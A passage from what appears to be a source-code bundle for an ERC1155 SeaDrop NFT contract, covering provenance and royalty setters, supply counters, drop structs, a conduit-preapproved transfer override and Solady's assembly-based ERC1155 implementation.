ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert if the provenance hash has already\n * been set, so be sure to carefully set it only once.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Revert if the provenance hash has already been set.\n if (oldProvenanceHash != bytes32(0)) {\n revert ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n }\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the default royalty.\n // ERC2981 implementation ensures feeNumerator <= feeDenominator\n // and receiver != address(0).\n _setDefaultRoyalty(receiver, feeNumerator);\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(receiver, feeNumerator);\n }\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory) {\n return _name;\n }\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].maxSupply;\n }\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalSupply;\n }\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalMinted;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the URI for token metadata.\n *\n * This implementation returns the same URI for *all* token types.\n * It relies on the token type ID substitution mechanism defined\n * in the EIP to replace {id} with the token id.\n *\n * @custom:param tokenId The token id to get the URI for.\n */\n function uri(\n uint256 /* tokenId */\n ) public view virtual override returns (string memory) {\n // Return the base URI.\n return _baseURI;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC1155, ERC2981) returns (bool) {\n return\n interfaceId == type(IERC1155ContractMetadata).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906 (MetadataUpdate)\n ERC2981.supportsInterface(interfaceId) ||\n // ERC1155 returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Adds to the internal counters for a mint.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual override {\n // Increment mint counts.\n _incrementMintCounts(to, id, amount);\n\n ERC1155._mint(to, id, amount, data);\n }\n\n /**\n * @dev Adds to the internal counters for a batch mint.\n *\n * @param to The address to mint to.\n * @param ids The token ids to mint.\n * @param amounts The quantities to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Increment mint counts.\n _incrementMintCounts(to, ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchMint(to, ids, amounts, data);\n }\n\n /**\n * @dev Subtracts from the internal counters for a burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function _burn(\n address by,\n address from,\n uint256 id,\n uint256 amount\n ) internal virtual override {\n // Reduce the supply.\n _reduceSupplyOnBurn(id, amount);\n\n ERC1155._burn(by, from, id, amount);\n }\n\n /**\n * @dev Subtracts from the internal counters for a batch burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn.\n */\n function _batchBurn(\n address by,\n address from,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Reduce the supply.\n _reduceSupplyOnBurn(ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchBurn(by, from, ids, amounts);\n }\n\n function _reduceSupplyOnBurn(uint256 id, uint256 amount) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n // Reduce the totalSupply.\n unchecked {\n tokenSupply.totalSupply -= uint64(amount);\n }\n }\n\n /**\n * @dev Internal function to increment mint counts.\n *\n * Note that this function does not check if the mint exceeds\n * maxSupply, which should be validated before this function is called.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n */\n function _incrementMintCounts(\n address to,\n uint256 id,\n uint256 amount\n ) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n if (tokenSupply.totalMinted + amount > tokenSupply.maxSupply) {\n revert MintExceedsMaxSupply(\n tokenSupply.totalMinted + amount,\n tokenSupply.maxSupply\n );\n }\n\n // Increment supply and number minted.\n // Can be unchecked because maxSupply cannot be set to exceed uint64.\n unchecked {\n tokenSupply.totalSupply += uint64(amount);\n tokenSupply.totalMinted += uint64(amount);\n\n // Increment total minted by user.\n _totalMintedByUser[to] += amount;\n\n // Increment total minted by user per token.\n _totalMintedByUserPerToken[to][id] += amount;\n }\n }\n}\n"
},
"src/lib/ERC1155SeaDropContractOffererStorage.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { CreatorPayout } from \"./SeaDropStructs.sol\";\n\nlibrary ERC1155SeaDropContractOffererStorage {\n struct Layout {\n /// @notice The allowed Seaport addresses that can mint.\n mapping(address => bool) _allowedSeaport;\n /// @notice The enumerated allowed Seaport addresses.\n address[] _enumeratedAllowedSeaport;\n /// @notice The public drop data.\n mapping(uint256 => PublicDrop) _publicDrops;\n /// @notice The enumerated public drop indexes.\n uint256[] _enumeratedPublicDropIndexes;\n /// @notice The creator payout addresses and basis points.\n CreatorPayout[] _creatorPayouts;\n /// @notice The allow list merkle root.\n bytes32 _allowListMerkleRoot;\n /// @notice The allowed fee recipients.\n mapping(address => bool) _allowedFeeRecipients;\n /// @notice The enumerated allowed fee recipients.\n address[] _enumeratedFeeRecipients;\n /// @notice The allowed server-side signers.\n mapping(address => bool) _allowedSigners;\n /// @notice The enumerated allowed signers.\n address[] _enumeratedSigners;\n /// @notice The used signature digests.\n mapping(bytes32 => bool) _usedDigests;\n /// @notice The allowed payers.\n mapping(address => bool) _allowedPayers;\n /// @notice The enumerated allowed payers.\n address[] _enumeratedPayers;\n }\n\n bytes32 internal constant STORAGE_SLOT =\n bytes32(\n uint256(\n keccak256(\"contracts.storage.ERC1155SeaDropContractOfferer\")\n ) - 1\n );\n\n function layout() internal pure returns (Layout storage l) {\n bytes32 slot = STORAGE_SLOT;\n assembly {\n l.slot := slot\n }\n }\n}\n"
},
"src/lib/ERC1155SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"./SeaDropErrorsAndEvents.sol\";\n\ninterface ERC1155SeaDropErrorsAndEvents is SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if an empty PublicDrop is provided\n * for an already-empty public drop.\n */\n error PublicDropStageNotPresent();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the\n * max minted per wallet for a certain token id.\n */\n error MintQuantityExceedsMaxMintedPerWalletForTokenId(\n uint256 tokenId,\n uint256 total,\n uint256 allowed\n );\n\n /**\n * @dev Revert with an error if the target token id to mint is not within\n * the drop stage range.\n */\n error TokenIdNotWithinDropStageRange(\n uint256 tokenId,\n uint256 startTokenId,\n uint256 endTokenId\n );\n\n /**\n * @notice Revert with an error if the number of maxSupplyAmounts doesn't\n * match the number of maxSupplyTokenIds.\n */\n error MaxSupplyMismatch();\n\n /**\n * @notice Revert with an error if the number of mint tokenIds doesn't\n * match the number of mint amounts.\n */\n error MintAmountsMismatch();\n\n /**\n * @notice Revert with an error if the mint order offer contains\n * a duplicate tokenId.\n */\n error OfferContainsDuplicateTokenId(uint256 tokenId);\n\n /**\n * @dev Revert if the fromTokenId is greater than the toTokenId.\n */\n error InvalidFromAndToTokenId(uint256 fromTokenId, uint256 toTokenId);\n\n /**\n * @notice Revert with an error if the number of publicDropIndexes doesn't\n * match the number of publicDrops.\n */\n error PublicDropsMismatch();\n\n /**\n * @dev An event with updated public drop data.\n */\n event PublicDropUpdated(PublicDrop publicDrop, uint256 index);\n}\n"
},
"src/lib/ERC1155SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id. (The limit for\n * this field is 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n */\nstruct PublicDrop {\n // slot 1\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n bool restrictFeeRecipients; // 248/512 bits\n // uint8 unused;\n\n // slot 2\n address paymentToken; // 408/512 bits\n uint24 fromTokenId; // 432/512 bits\n uint24 toTokenId; // 456/512 bits\n uint16 maxTotalMintableByWallet; // 472/512 bits\n uint16 maxTotalMintableByWalletPerToken; // 488/512 bits\n uint16 feeBps; // 504/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 fromTokenId;\n uint256 toTokenId;\n uint256 maxTotalMintableByWallet;\n uint256 maxTotalMintableByWalletPerToken;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param tokenIds The tokenIds to mint.\n * @param quantities The number of tokens to mint per tokenId.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256[] tokenIds;\n uint256[] quantities;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256[] maxSupplyTokenIds;\n uint256[] maxSupplyAmounts;\n string baseURI;\n string contractURI;\n PublicDrop[] publicDrops;\n uint256[] publicDropsIndexes;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256[] mintTokenIds;\n uint256[] mintAmounts;\n}\n"
},
"src/lib/SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\n/**\n * @notice A struct defining a creator payout address and basis points.\n *\n * @param payoutAddress The payout address.\n * @param basisPoints The basis points to pay out to the creator.\n * The total creator payouts must equal 10_000 bps.\n */\nstruct CreatorPayout {\n address payoutAddress;\n uint16 basisPoints;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n *\n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n"
},
"src/lib/ERC1155ConduitPreapproved.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\n/**\n * @title ERC1155ConduitPreapproved\n * @notice Solady's ERC1155 with the OpenSea conduit preapproved.\n */\nabstract contract ERC1155ConduitPreapproved is ERC1155 {\n /// @dev The canonical OpenSea conduit.\n address internal constant _CONDUIT =\n 0x1E0049783F008A0085193E00003D00cd54003c71;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n _safeTransfer(_by(), from, to, id, amount, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual override {\n _safeBatchTransfer(_by(), from, to, ids, amounts, data);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n if (operator == _CONDUIT) return true;\n return ERC1155.isApprovedForAll(owner, operator);\n }\n\n function _by() internal view returns (address result) {\n assembly {\n // `msg.sender == _CONDUIT ? address(0) : msg.sender`.\n result := mul(iszero(eq(caller(), _CONDUIT)), caller())\n }\n }\n}\n"
},
"lib/solady/src/tokens/ERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC1155 implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC1155/ERC1155.sol)\n///\n/// @dev Note:\n/// The ERC1155 standard allows for self-approvals.\n/// For performance, this implementation WILL NOT revert for such actions.\n/// Please add any checks with overrides if desired.\nabstract contract ERC1155 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The lengths of the input arrays are not the same.\n error ArrayLengthsMismatch();\n\n /// @dev Cannot mint or transfer to the zero address.\n error TransferToZeroAddress();\n\n /// @dev The recipient's balance has overflowed.\n error AccountBalanceOverflow();\n\n /// @dev Insufficient balance.\n error InsufficientBalance();\n\n /// @dev Only the token owner or an approved account can manage the tokens.\n error NotOwnerNorApproved();\n\n /// @dev Cannot safely transfer to a contract that does not implement\n /// the ERC1155Receiver interface.\n error TransferToNonERC1155ReceiverImplementer();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Emitted when `amount` of token `id` is transferred\n /// from `from` to `to` by `operator`.\n event TransferSingle(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256 id,\n uint256 amount\n );\n\n /// @dev Emitted when `amounts` of token `ids` are transferred\n /// from `from` to `to` by `operator`.\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] amounts\n );\n\n /// @dev Emitted when `owner` enables or disables `operator` to manage all of their tokens.\n event ApprovalForAll(address indexed owner, address indexed operator, bool isApproved);\n\n /// @dev Emitted when the Uniform Resource Identifier (URI) for token `id`\n /// is updated to `value`. This event is not used in the base contract.\n /// You may need to emit this event depending on your URI logic.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n event URI(string value, uint256 indexed id);\n\n /// @dev `keccak256(bytes(\"TransferSingle(address,address,address,uint256,uint256)\"))`.\n uint256 private constant _TRANSFER_SINGLE_EVENT_SIGNATURE =\n 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62;\n\n /// @dev `keccak256(bytes(\"TransferBatch(address,address,address,uint256[],uint256[])\"))`.\n uint256 private constant _TRANSFER_BATCH_EVENT_SIGNATURE =\n 0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb;\n\n /// @dev `keccak256(bytes(\"ApprovalForAll(address,address,bool)\"))`.\n uint256 private constant _APPROVAL_FOR_ALL_EVENT_SIGNATURE =\n 0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The `ownerSlotSeed` of a given owner is given by.\n /// ```\n /// let ownerSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner))\n /// ```\n ///\n /// The balance slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, id)\n /// let balanceSlot := keccak256(0x00, 0x40)\n /// ```\n ///\n /// The operator approval slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, operator)\n /// let operatorApprovalSlot := keccak256(0x0c, 0x34)\n /// ```\n uint256 private constant _ERC1155_MASTER_SLOT_SEED = 0x9a31110384e0b0c9;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 METADATA */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the URI for token `id`.\n ///\n /// You can either return the same templated URI for all token IDs,\n /// (e.g. \"https://example.com/api/{id}.json\"),\n /// or return a unique URI for each `id`.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n function uri(uint256 id) public view virtual returns (string memory);\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the amount of `id` owned by `owner`.\n function balanceOf(address owner, uint256 id) public view virtual returns (uint256 result) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, id)\n result := sload(keccak256(0x00, 0x40))\n }\n }\n\n /// @dev Returns whether `operator` is approved to manage the tokens of `owner`.\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n returns (bool result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, operator)\n result := sload(keccak256(0x0c, 0x34))\n }\n }\n\n /// @dev Sets whether `operator` is approved to manage the tokens of the caller.\n ///\n /// Emits a {ApprovalForAll} event.\n function setApprovalForAll(address operator, bool isApproved) public virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`msg.sender`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, caller())\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n // forgefmt: disable-next-line\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), shr(96, shl(96, operator)))\n }\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), from, to)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155Received} check if `to` is a smart contract.\n if extcodesize(to) {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n calldatacopy(add(m, 0xc0), sub(data.offset, 0x20), add(0x20, data.length))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, data.length), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - `ids` and `amounts` must have the same length.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, amounts.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, ids.length)\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let amount := calldataload(add(amounts.offset, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, calldataload(add(ids.offset, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0x40)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, n))\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n n := sub(add(o, n), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), from, to)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransferCalldata(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155BatchReceived} check if `to` is a smart contract.\n if extcodesize(to) {\n let m := mload(0x40)\n // Prepare the calldata.\n 